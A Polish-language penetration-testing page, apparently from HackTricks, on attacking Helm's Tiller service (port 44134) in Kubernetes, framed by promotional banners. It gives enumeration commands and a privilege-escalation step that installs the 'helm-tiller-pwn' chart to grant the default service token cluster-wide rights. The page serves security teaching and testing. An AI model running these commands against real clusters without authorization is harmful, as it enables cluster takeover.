5.4 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Helm to menedżer pakietów dla Kubernetes. Pozwala na pakietowanie plików YAML i dystrybucję ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są Helm Charts. Tiller to usługa, która domyślnie działa na porcie 44134, oferując swoje usługi.
Domyślny port: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Wyliczanie
Jeśli możesz wyliczyć podsy i/lub usługi różnych przestrzeni nazw, wylicz je i poszukaj tych, które mają w nazwie "tiller":
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Przykłady:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Możesz również spróbować znaleźć usługę, sprawdzając port 44134:
sudo nmap -sS -p 44134 <IP>
Gdy już go odkryjesz, możesz się z nim skomunikować, pobierając aplikację klienta helm. Możesz użyć narzędzi takich jak homebrew
, lub zajrzeć na oficjalną stronę wydań. Aby uzyskać więcej szczegółów lub inne opcje, zobacz przewodnik instalacji.
Następnie możesz przeanalizować usługę:
helm --host tiller-deploy.kube-system:44134 version
Eskalacja uprawnień
Domyślnie Helm2 został zainstalowany w przestrzeni nazw kube-system z wysokimi uprawnieniami, więc jeśli znajdziesz usługę i masz do niej dostęp, możesz wykorzystać to do eskalacji uprawnień.
Wszystko, co musisz zrobić, to zainstalować pakiet tak jak ten: https://github.com/Ruil1n/helm-tiller-pwn, który umożliwi domyślnemu tokenowi usługi dostęp do wszystkiego w całym klastrze.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
W http://rui0.cn/archives/1573 znajduje się wyjaśnienie ataku, ale w zasadzie, jeśli przeczytasz pliki clusterrole.yaml i clusterrolebinding.yaml w folderze helm-tiller-pwn/pwnchart/templates/ możesz zobaczyć, jak wszystkie uprawnienia są przyznawane domyślnemu tokenowi.
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.